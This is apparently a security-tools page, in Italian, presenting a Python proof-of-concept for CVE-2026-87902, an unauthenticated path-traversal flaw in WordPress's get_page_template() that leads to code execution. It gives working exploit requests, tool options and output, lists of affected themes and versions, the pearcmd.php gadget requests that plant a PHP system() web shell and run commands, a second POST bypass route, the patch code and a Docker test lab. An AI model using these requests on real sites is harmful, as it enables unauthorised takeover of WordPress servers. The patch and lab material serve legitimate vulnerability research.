Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!
CVE-2026-87902 — PoC Python per CVE-2026-87902, un RCE da path traversal non autenticato in WordPress tramite get_page_template(), con fingerprinting della versione, controlli del tema e inclusione di file opzionale. | Kitploit
PoC Python per CVE-2026-87902, un RCE da path traversal non autenticato in WordPress tramite get_page_template(), con fingerprinting della versione, controlli del tema e inclusione di file opzionale.
il payload. WP_Query lo passa attraverso sanitize_title_for_query(), che riscrive un punto letterale in un trattino ma preserva gli ottetti codificati in percentuale. get_page_template() chiama poi urldecode() per decodificare il risultato in un percorso
page_id
una qualsiasi pagina pubblicata, così la query corrisponde a un post invece di restituire un 404. Senza di esso il template di pagina non viene mai caricato
Il core costruisce page-{urldecode($pagename)}.php e lo risolve rispetto alla directory dello stylesheet. La codifica è necessaria: sanitize_title_for_query() riscrive un .. letterale in -.
Precondizioni
#
Condizione
Perché
1
il tema attivo include una directory page-* di primo livello
il nome è page-{payload}.php, quindi il suo primo segmento deve risolversi su disco
2
una pagina pubblicata che non sia né la front page né la pagina dei post
is_front_page e is_home vengono provati prima di is_page
3
il file target termina in .php
il core aggiunge l'estensione
Nessun contenuto caricato, nessuna modifica alla configurazione del sito, al tema o al core.
Tutti i 26 temi interessati chiamano la directory page-templates. poc.py prende il nome da themes.json, assume page-templates per un tema che non vi è presente, e --root lo sovrascrive con una lista separata da virgole.
Gli host Windows eliminano la precondizione 1. Win32 annulla .. lessicalmente, quindi un segmento che non esiste viene comunque annullato dal .. che lo segue.
Percorso
Risultato
C:\...\wordpress\page-nothing\..\README.md
esiste
C:\...\wordpress\page-nothing\README.md
non esiste
Testato con os.stat su Windows 11, che usa la stessa gestione dei percorsi Win32 di file_exists() di PHP. WordPress stesso non è stato eseguito su Windows.
Utilizzo
Check, l'impostazione predefinita
Identifica il tema e le due versioni, poi chiede se la directory page-* esiste. Nulla viene incluso o eseguito.
root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
1 GET / 200 WordPress 7.1.1, theme neve
2 GET /wp-content/themes/neve/style.css 200 neve 4.2.11
3 GET /wp-content/themes/neve/page-templates/ 403 refused, which on its own establishes nothing
4 GET /wp-content/themes/neve/page-e464e285/ 404 the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result neve ships page-templates, core 7.1.1
next rerun with --exploit to make the target prove it
Risposta su page-<root>/
Lettura
200
la directory esiste e mostra il contenuto
404
nessuna directory di questo tipo
403
inconcludente, quindi segue una richiesta di controllo per page-<8 random hex>/
403 poi controllo 404
il rifiuto riguardava l'esistenza, la directory esiste
403 poi controllo rifiutato
il server rifiuta qualunque cosa gli venga chiesta, uscita 4
Affected richiede entrambe: la directory esiste, e la versione è pari o inferiore a 7.1.1.
Exploit
Esegue prima il check, poi include il file a meno che il check non abbia escluso il target.
5 GET /?rest_route=/wp/v2/pages 200 1 published page
6 GET /?page_id=2&pagename=page-templates/../../ 200 1368 bytes, not the theme's page [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result wp-admin/install.php ran: WordPress › Installation
Un template di tema renderizzato fa sempre riferimento a /wp-content/themes/ tramite wp_head(), un file incluso dall'esterno del tema no. Questa è la regola di verdetto.
Opzioni
Opzione
Predefinito
Effetto
--target URL
richiesto
deployment sotto test
--exploit
off
include un file dopo il check
--include PATH
wp-admin/install.php
il .php da includere. I percorsi relativi si risolvono dalla root di WordPress, i percorsi assoluti risalgono con --depth
--depth N
7
salti ../ per un --include assoluto
--root NAME[,NAME]
da themes.json
le directory page-* da provare, senza il prefisso page-
--page-id ID
scoperto
salta la scoperta della pagina
--theme SLUG
scoperto
salta la ricerca del tema
--theme-version V
scoperto
salta la ricerca della versione del tema
--no-version
off
non effettuare alcuna richiesta il cui unico scopo sia apprendere una versione
--core-json PATH
core.json
impronte delle release, lette solo quando nulla ha rivelato una versione
--trace
off
stampa ogni scambio
--json
off
un solo oggetto JSON, nient'altro
--yes
off
salta la conferma
Codice
Check
Exploit
0
affected
un .php esterno al tema è stato incluso
1
not affected
non incluso
2
nessuna risposta, o la risposta non è WordPress
idem
3
utilizzo, o rifiuto alla conferma
idem
4
inconcludente, vedi i casi 403 e 7.1.x
non usato
L'opzione predefinita --include è wp-admin/install.php: in ogni WordPress, output inconfondibile, non cambia nulla.
I certificati TLS non vengono verificati. Quelli scaduti, autofirmati e con hostname non corrispondente vengono accettati.
Fingerprinting della versione
Provati in ordine, fermandosi al primo che risponde.
Fonte
Costo
Su 7.1.1
meta generator sulla home page
gratuito
versione esatta
?ver= su un asset in /wp-includes/
gratuito
versione esatta
/?feed=rss2
1 richiesta
versione esatta
/wp-links-opml.php
1 richiesta
versione esatta
sha256 di un asset servito rispetto a core.json
1 richiesta
l'insieme delle release che distribuiscono quei byte
core.json copre le 112 release pubblicate e 7.1.2, quattro asset ciascuna. Incrociandoli si identificano esattamente 9 release e restano in media 4 candidati. Affected richiede che ogni candidato sia pari o inferiore a 7.1.1.
7.1.1 e 7.1.2 non possono essere distinti dall'esterno. I tre file che differiscono sono wp-admin/about.php, wp-includes/template.php e wp-includes/version.php, nessuno dei quali viene servito. Un sito 7.1.x che nasconde la sua versione ottiene l'uscita 4.
Temi
I 200 temi più installati su wordpress.org. 26 includono una directory page-* e sono interessati, insieme 765.500 su 9.027.090 installazioni attive. Gli altri 174 falliscono la precondizione 1.
Tema
Versione
Installazioni
page-*
Stato
Confermato
neve
4.2.11
200.000
page-templates
🔴 affected
lab
sydney
2.71
80.000
page-templates
🔴 affected
lab
hestia
3.3.6
70.000
page-templates
🔴 affected
lab
inspiro
2.2.3
60.000
page-templates
🔴 affected
survey
colibri-wp
1.0.169
50.000
page-templates
🔴 affected
survey
twentyfourteen
4.6
50.000
page-templates
🔴 affected
lab
twentytwelve
4.9
50.000
page-templates
🔴 affected
lab
colormag
4.2.5
40.000
page-templates
🔴 affected
lab
zakra
4.3.3
30.000
page-templates
🔴 affected
survey
spacious
1.9.12
20.000
page-templates
lab significa testato end to end con poc.py contro un'immagine stock, survey significa che la directory è stata letta dall'archivio del tema e il tema non è stato avviato.
Testati e non interessati, nessuno dei quali include una directory page-*: astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive.
front-page.php, distribuito da hestia, neve e altri, non cambia l'affectedness. Esclude solo l'ID della front page per la richiesta.
Versioni
Release
Tema predefinito dell'immagine
Con un tema interessato
Confermato
7.1.2
🟢 not affected, twentytwentyfive
🟢 not affected, neve
lab
7.1.1
🟢 not affected, twentytwentyfive
🔴 affected, neve
lab
7.1.0
🟢 not affected, twentytwentyfive
🔴 affected, neve
lab
7.0.4
🟢 not affected, twentytwentyfive
🔴 affected, neve
lab
6.8.3
🟢 not affected, twentytwentyfive
🔴 affected, neve
lab
6.1.0
🟢 not affected, twentytwentythree
🔴 affected, twentytwelve
lab
4.9.8
🟢 not affected, twentyseventeen
🔴 affected, twentytwelve
lab
le altre 105 release
non misurate
non misurate
non misurate
Versione del tema
non è una precondizione, lo è la directory page-*. neve 4.2.11 è stato usato su 6.8.3 e superiori, twentytwelve 4.9 sui due core più vecchi
7.1.2
nessuna immagine pubblicata. Testato con lab/run.py --core 7.1.2, che applica l'archivio ufficiale della release sopra 7.1.1-apache
Out of the box
nessuna release dalla 4.1 in poi è interessata. Da twentyfifteen a twentytwentyfive non includono una directory page-*. twentyfourteen e twentytwelve sì, ed erano i predefiniti dalla 3.8 alla 4.0 e della 3.5, per cui non è pubblicata alcuna immagine
Non scaricabili
15 dei 112 tag pubblicati: 14 più vecchi di 4.5.3-apache usano un manifest v1 che containerd 2.1 rifiuta, e 4.5.3-apache ha un layer che il registry non riesce a servire
Varianti PHP pubblicate per release, che decidono l'escalation seguente:
Release di WordPress
Varianti PHP pubblicate come -apache
4.1.x a 4.5.x
nessuna, solo tag semplice, 5.6
4.6.x a 5.0.x
5.67.07.17.27.3
5.1.x a 5.5.x
7.17.27.37.4
5.6.x a 6.0.x
7.27.37.48.08.1
6.1.x a 6.6.x
7.48.08.18.28.3
6.7.x
8.18.28.38.4
6.8.x e 6.9.x
8.18.28.38.48.5
7.0.x e 7.1.x
8.28.38.48.5
PHP ed escalation
L'inclusione di file riesce su tutte e quattro le immagini e pearcmd.php è presente in ciascuna. L'esecuzione di comandi tramite il gadget richiede register_argc_argv attivo, che l'immagine php8.5 disattiva.
Immagine
PHP
register_argc_argv $_SERVER['argv']
RCE via pearcmd.php
Confermato
7.1.1-php8.2-apache
8.2.33
On, popolato
🔴 uid=33(www-data)
lab
7.1.1-apache
8.3.33
On, popolato
🔴 uid=33(www-data)
lab
7.1.1-php8.4-apache
8.4.25
On, popolato
🔴 uid=33(www-data)
lab
7.1.1-php8.5-apache
8.5.10
Off, null
🟢 non raggiunto
lab
Letto attraverso apache2handler, non la CLI, che forza l'attivazione dell'impostazione. Le due richieste dietro la colonna RCE:
root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
-> uid=33(www-data) gid=33(www-data) groups=33(www-data)
poc.py include un file, non pilota il gadget. Raggiungilo con --include /usr/local/lib/php/pearcmd.php --depth 7. Nessun gadget diverso da pearcmd.php è stato cercato sull'immagine 8.5.
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+ global $wp_stylesheet_path, $wp_template_path;
+
+ // A file path that exists and does not contain `..` is allowed.
+ if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+ return true;
+ }
+
+ $real_path = realpath( $path );
+ if ( false === $real_path ) {
+ return false;
+ }
+ $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+ $directories = array(
+ $wp_stylesheet_path,
+ $wp_template_path,
+ ABSPATH . WPINC . '/theme-compat',
+ );
+ // ... plus the parent directory of a theme that lives in a subdirectory
+
+ foreach ( $directories as $directory ) {
+ $real_directory = realpath( $directory );
+ if ( false === $real_directory ) {
+ continue;
+ }
+ if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+ return true;
+ }
+ }
+ return false;
+ }
Il primo corregge il ramo vulnerabile, il secondo controlla ogni percorso di template risolto, qualunque cosa lo abbia prodotto. Testato: su 7.1.2 con neve attivo e page-templates presente, la stessa richiesta renderizza la pagina del tema stesso, 55.084 byte, invece dell'installer.
Esiste una seconda via su 7.1.1 e precedenti:
root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
Come differisce
devia WP_Query nel suo ramo post_name, che non riscrive mai pagename, quindi un .. letterale funziona
Cosa richiede
un tema senza single.php, perché is_single viene provato prima di is_page
Testato su
7.1.1 con bloghash
Perché è qui
sopravvive a un fix che irrobustisce solo il sanitiser. Il controllo di contenimento sopra lo chiude anch'esso
Lab
root@kitploit:~
python3 lab/run.py # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions # rewrite lab/versions.txt from the registry
python3 lab/themes.py # rebuild themes.json
python3 lab/core.py --also 7.1.2 # rebuild core.json
root@kitploit:~
1/9 7.1.1-apache affected 0 included twentytwelve wp-admin/install.php ran
2/9 7.1.1-apache affected 0 included hestia wp-admin/install.php ran
3/9 7.1.1-apache affected 0 included neve wp-admin/install.php ran
4/9 7.1.1-apache affected 0 included colormag wp-admin/install.php ran
5/9 7.1.1-apache affected 0 included sydney wp-admin/install.php ran
6/9 7.1.1-apache unaffected 1 not included twentytwentyfive no page-* directory
7/9 7.1.1-apache affected 0 included bloghash wp-admin/install.php ran
8/9 7.1.1-apache unaffected 1 not included kadence no page-* directory
9/9 7.1.1-apache unaffected 1 not included astra no page-* directory
Per riga
Immagine
wordpress:<tag> ufficiale, non modificata
Isolamento
container proprio, porta propria, database proprio nella MariaDB condivisa
Installazione
via HTTP attraverso wp-admin/install.php, così nessuna versione necessita di un wp-cli corrispondente
Stato
come lo lascia l'installer, una pagina pubblicata, nulla caricato
Guidato con
poc.py --exploit, così una riga misura l'inclusione e non l'aspetto
Opzione
Predefinito
Effetto
--jobs N
2
righe in parallelo
--theme SLUG[@VERSION]
nessuno
installa e attiva su ogni riga
--core VERSION
nessuno
applica quella release ufficiale sopra il core dell'immagine, che è come viene eseguita una release senza immagine
--keep
off
lascia le istanze attive, password admin stampata alla fine
--prune
off
elimina le immagini scaricate da questa esecuzione
--port-base N
8110
prima porta, una per riga, solo 127.0.0.1
--db-image
mariadb:10.6
immagine del database
--timeout N
180
secondi concessi a un container per rispondere
--out PATH
lab/results.json
dettaglio per riga
Codici di uscita: 0 ogni riga misurata, 1 almeno una non lo è stata, 2 Docker assente o nulla da eseguire, 3 utilizzo o rifiuto. Un'immagine WordPress è da 600 MB a 1,1 GB, quindi --all senza --prune sono decine di GB.
.github/workflows/lab.yml esegue quattro righe a ogni modifica al PoC o al lab, e settimanalmente: un tema interessato su 7.1.1 e su 6.8.3, il tema predefinito dell'immagine, e la variante php8.5. Ciascuna verifica il proprio codice di uscita atteso.
Due idee prese da quel PoC, entrambe testate qui prima:
Idea
Mantenuta
Testata
/index.php?rest_route= e /wp-json/ come route di fallback per l'elenco delle pagine
sì
la scoperta riesce attraverso una delle tre
preferire una pagina senza un proprio template di pagina, poiché get_page_template() prova prima quel template
sì, come ordinamento
forzare una pagina che ne ha uno ha comunque riprodotto su 7.1.1, quindi costa al massimo una richiesta
File
root@kitploit:~
poc.py the PoC, standalone, stdlib only
themes.json per-theme facts poc.py reads (generated)
core.json asset fingerprints per release (generated)
lab/run.py the lab
lab/themes.py rebuilds themes.json from the survey and the archive cache
lab/core.py rebuilds core.json from the official release archives
lab/survey.json 200 most-installed themes, their version and page-* directories
lab/targets.txt the pool lab/run.py stands up by default
lab/versions.txt 112 published releases (generated from the registry)
lab/results.json last run (ignored)
lab/.cache/ theme and release archives (ignored)
attic/ previous attempt, unwired, ignored
Requisiti: Docker, Python 3.8+, nessun pacchetto di terze parti.